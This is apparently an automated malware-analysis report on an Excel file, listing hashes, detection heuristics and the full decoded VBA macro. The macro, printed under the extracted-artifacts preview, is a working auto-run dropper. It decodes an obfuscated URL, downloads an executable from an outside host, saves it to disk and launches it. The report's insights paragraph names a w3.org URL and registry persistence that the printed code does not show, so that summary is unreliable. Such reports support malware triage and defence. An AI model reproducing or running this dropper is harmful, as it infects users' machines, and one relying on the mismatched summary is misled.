Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f7908c6cc11ee31d…

MALICIOUS

Office (OLE)

167.0 KB Created: 2006-09-16 00:00:00 Authoring application: Microsoft Excel First seen: 2019-06-27
MD5: 4ab0efbe6b707653d5dce072efd71420 SHA-1: 1a41e09fc3b45b7e0a7f5ffa0bc8f635f077e6f7 SHA-256: f7908c6cc11ee31d3a491a5700c8b3bbc4f40e7579fe7615f9f273feea879574
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is an Excel document containing a Workbook_open VBA macro. This macro utilizes WScript.Shell and CreateObject to download a payload from a constructed URL and save it to the user's temporary directory. The macro also attempts to establish persistence by writing to the registry Run key. The constructed URL is "http://www.w3.org/1999/02/22-rdf-syntax-ns#".

Heuristics 10

  • ClamAV: Xls.Downloader.Generic-6839042-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Generic-6839042-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    JHNOVGHMQODLUEOLGVZBZCURUKQQXZBWJRNGWXIWYFKUCVOCNMBRZTVIVBXHGRCOKIOWEOINYWLMDMPTOEIJIKVZD = CreateObject("WScript.Shell").Specialfolders(7) + NNVQRNZOEDTOYTPVBSSMMZEKXIXJSYSROXVHZFIGLTUFGKWNCJZDMQLBYYYBTPTIVOWYZVIWMECWHCWEJBBUNBMSZ
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    QQSLOSBNNVQRNZOEDTOYTPVBSSMMZEKXIXJSYSROXVHZFIGLTUFGKWNCJZDMQLBYYYBTPTIVOWYZVIWMECWHCWEJBB = SOCPFXVPZUQXCTTNGTFLSJSLNZTSPYXJTGJHNOVNOSXVKRBLURMDHHGJCXCQXWFHIEQXUMDFODFMRCJCVJUTIY.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set TNGTFLSJSLNZTSPYXJTGJHNOVGHMQODLUEOLGVZBZCURUKQQXZBWJRNGWXIWYFKUCVOCNMBRZTVIVBXHGRCOKIO = CreateObject("Shell.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://ns.adobe.com/tiff/1.0/Referenced by macro
    • http://ns.adobe.com/exif/1.0/Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4985 bytes
SHA-256: 40b9bf15dc94ba00bac36a9ed074ea12e0a206db00e80e6ce3eb1e0c21de96c2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub robertz()

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_open()
Set TNGTFLSJSLNZTSPYXJTGJHNOVGHMQODLUEOLGVZBZCURUKQQXZBWJRNGWXIWYFKUCVOCNMBRZTVIVBXHGRCOKIO = CreateObject("Shell.Application")
Set SOCPFXVPZUQXCTTNGTFLSJSLNZTSPYXJTGJHNOVNOSXVKRBLURMDHHGJCXCQXWFHIEQXUMDFODFMRCJCVJUTIY = CreateObject("microsoft.xmlhttp")
Set VPUGESTJTWZULPPORDGKYFFNPQMYGDULMWLNUSKQEERVCQZPCKXKQNWNYRWZXDMTWXDOLBBRUEIDSQQQSLOSB = CreateObject("adodb.stream")
NNVQRNZOEDTOYTPVBSSMMZEKXIXJSYSROXVHZFIGLTUFGKWNCJZDMQLBYYYBTPTIVOWYZVIWMECWHCWEJBBUNBMSZ = WWKOUJSIUEQEJGPHSKPSQWFMQQVHFTUKOXCWMKKJLEHLTHGOJLHTIWVNHRMIPULLFFSWDRBQDLRMKHQPBSXBYFNNYYEPGUDS("]PCVG[WEJZ/fyf")
UNBMSZQYRTHBZWGEPBNPOTVDNOSXVKRBLURMDHHGJCXCQXWFHIEQXUMDFODFMRCJCVJUTIYHZCPCIFOMXJURPUEL = WWKOUJSIUEQEJGPHSKPSQWFMQQVHFTUKOXCWMKKJLEHLTHGOJLHTIWVNHRMIPULLFFSWDRBQDLRMKHQPBSXBYFNNYYEPGUDS("iuuq;00pofesjwfofu/yz{0`pvuqvuDG4C5EG/fyf!")

JHNOVGHMQODLUEOLGVZBZCURUKQQXZBWJRNGWXIWYFKUCVOCNMBRZTVIVBXHGRCOKIOWEOINYWLMDMPTOEIJIKVZD = CreateObject("WScript.Shell").Specialfolders(7) + NNVQRNZOEDTOYTPVBSSMMZEKXIXJSYSROXVHZFIGLTUFGKWNCJZDMQLBYYYBTPTIVOWYZVIWMECWHCWEJBBUNBMSZ
SOCPFXVPZUQXCTTNGTFLSJSLNZTSPYXJTGJHNOVNOSXVKRBLURMDHHGJCXCQXWFHIEQXUMDFODFMRCJCVJUTIY.Open "GET", UNBMSZQYRTHBZWGEPBNPOTVDNOSXVKRBLURMDHHGJCXCQXWFHIEQXUMDFODFMRCJCVJUTIYHZCPCIFOMXJURPUEL, False
SOCPFXVPZUQXCTTNGTFLSJSLNZTSPYXJTGJHNOVNOSXVKRBLURMDHHGJCXCQXWFHIEQXUMDFODFMRCJCVJUTIY.send
QQSLOSBNNVQRNZOEDTOYTPVBSSMMZEKXIXJSYSROXVHZFIGLTUFGKWNCJZDMQLBYYYBTPTIVOWYZVIWMECWHCWEJBB = SOCPFXVPZUQXCTTNGTFLSJSLNZTSPYXJTGJHNOVNOSXVKRBLURMDHHGJCXCQXWFHIEQXUMDFODFMRCJCVJUTIY.responseBody
If SOCPFXVPZUQXCTTNGTFLSJSLNZTSPYXJTGJHNOVNOSXVKRBLURMDHHGJCXCQXWFHIEQXUMDFODFMRCJCVJUTIY.Status = 200 Then
VPUGESTJTWZULPPORDGKYFFNPQMYGDULMWLNUSKQEERVCQZPCKXKQNWNYRWZXDMTWXDOLBBRUEIDSQQQSLOSB.Open
VPUGESTJTWZULPPORDGKYFFNPQMYGDULMWLNUSKQEERVCQZPCKXKQNWNYRWZXDMTWXDOLBBRUEIDSQQQSLOSB.Type = 1
VPUGESTJTWZULPPORDGKYFFNPQMYGDULMWLNUSKQEERVCQZPCKXKQNWNYRWZXDMTWXDOLBBRUEIDSQQQSLOSB.Write QQSLOSBNNVQRNZOEDTOYTPVBSSMMZEKXIXJSYSROXVHZFIGLTUFGKWNCJZDMQLBYYYBTPTIVOWYZVIWMECWHCWEJBB
VPUGESTJTWZULPPORDGKYFFNPQMYGDULMWLNUSKQEERVCQZPCKXKQNWNYRWZXDMTWXDOLBBRUEIDSQQQSLOSB.SaveToFile JHNOVGHMQODLUEOLGVZBZCURUKQQXZBWJRNGWXIWYFKUCVOCNMBRZTVIVBXHGRCOKIOWEOINYWLMDMPTOEIJIKVZD, 2
VPUGESTJTWZULPPORDGKYFFNPQMYGDULMWLNUSKQEERVCQZPCKXKQNWNYRWZXDMTWXDOLBBRUEIDSQQQSLOSB.Close
End If
TNGTFLSJSLNZTSPYXJTGJHNOVGHMQODLUEOLGVZBZCURUKQQXZBWJRNGWXIWYFKUCVOCNMBRZTVIVBXHGRCOKIO.Open (JHNOVGHMQODLUEOLGVZBZCURUKQQXZBWJRNGWXIWYFKUCVOCNMBRZTVIVBXHGRCOKIOWEOINYWLMDMPTOEIJIKVZD)


End Sub

Function WWKOUJSIUEQEJGPHSKPSQWFMQQVHFTUKOXCWMKKJLEHLTHGOJLHTIWVNHRMIPULLFFSWDRBQDLRMKHQPBSXBYFNNYYEPGUDS(VGKFURSRTMJMCPIPRSOCPFXVPZUQXCTTNGTFLSJSLNZTSPYXJTGJHNOVGHMQODLUEOLGVZBZCURUKQQXZB)
PULLFFSWDRBQDLRMKHQPBSXBYFNNYYEPGUDSVGKFURSRTMJMCPIPRSOCPFXVPZUQXCTTNGTFLSJSLNZTSPYXJT = 10 - 9
        SYXGIJFRZVNFGQEHNMDKWWKOUJSIUEQEJGPHSKPSQWFMQQVHFTUKOXCWMKKJLEHLTHGOJLHTIWVNHRMI = ""
    For PULLFFSWDRBQDLRMKHQPBSXBYFNNYYEPGUDSVGKFURSRTMJMCPIPRSOCPFXVPZUQXCTTNGTFLSJSLNZTS = PULLFFSWDRBQDLRMKHQPBSXBYFNNYYEPGUDSVGKFURSRTMJMCPIPRSOCPFXVPZUQXCTTNGTFLSJSLNZTSPYXJT To Len(VGKFURSRTMJMCPIPRSOCPFXVPZUQXCTTNGTFLSJSLNZTSPYXJTGJHNOVGHMQODLUEOLGVZBZCURUKQQXZB)
        PTOEIJIKVZDSYXGIJFRZVNFGQEHNMDKWWKOUJSIUEQEJGPHSKPSQWFMQQVHFTUKOXCWMKKJLEHLTHGOJLHTIWVNHRMI = Asc(Mid(VGKFURSRTMJMCPIPRSOCPFXVPZUQXCTTNGTFLSJSLNZTSPYXJTGJHNOVGHMQODLUEOLGVZBZCURUKQQXZB, PULLFFSWDRBQDLRMKHQPBSXBYFNNYYEPGUDSVGKFURSRTMJMCPIPRSOCPFXVPZUQXCTTNGTFLSJSLNZTS, PULLFFSWDRBQDLRMKHQPBSXBYFNNYYEPGUDSVGKFURSRTMJMCPIPRSOCPFXVPZUQXCTTNGTFLSJSLNZTSPYXJT))

            PYXJTGJHNOVGHMQODLUEOLGVZBZCURUKQQXZBWJRNGWXIWYFKUCVOCNMBRZTVIVBXHGRCOKIOWEOINYWLMDM = PTOEIJIKVZDSYXGIJFRZVNFGQEHNMDKWWKOUJSIUEQEJGPHSKPSQWFMQQVHFTUKOXCWMKKJLEHLTHGOJLHTIWVNHRMI - PULLFFSWDRBQDLRMKHQPBSXBYFNNYYEPGUDSVGKFURSRTMJMCPIPRSOCPFXVPZUQXCTTNGTFLSJSLNZTSPYXJT
        SYXGIJFRZVNFGQEHNMDKWWKOUJSIUEQEJGPHSKPSQWFMQQVHFTUKOXCWMKKJLEHLTHGOJLHTIWVNHRMI = SYXGIJFRZVNFGQEHNMDKWWKOUJSIUEQEJGPHSKPSQWFMQQVHFTUKOXCWMKKJLEHLTHGOJLHTIWVNHRMI & Chr(PYXJTGJHNOVGHMQODLUEOLGVZBZCURUKQQXZBWJRNGWXIWYFKUCVOCNMBRZTVIVBXHGRCOKIOWEOINYWLMDM)
    Next
    WWKOUJSIUEQEJGPHSKPSQWFMQQVHFTUKOXCWMKKJLEHLTHGOJLHTIWVNHRMIPULLFFSWDRBQDLRMKHQPBSXBYFNNYYEPGUDS = SYXGIJFRZVNFGQEHNMDKWWKOUJSIUEQEJGPHSKPSQWFMQQVHFTUKOXCWMKKJLEHLTHGOJLHTIWVNHRMI
End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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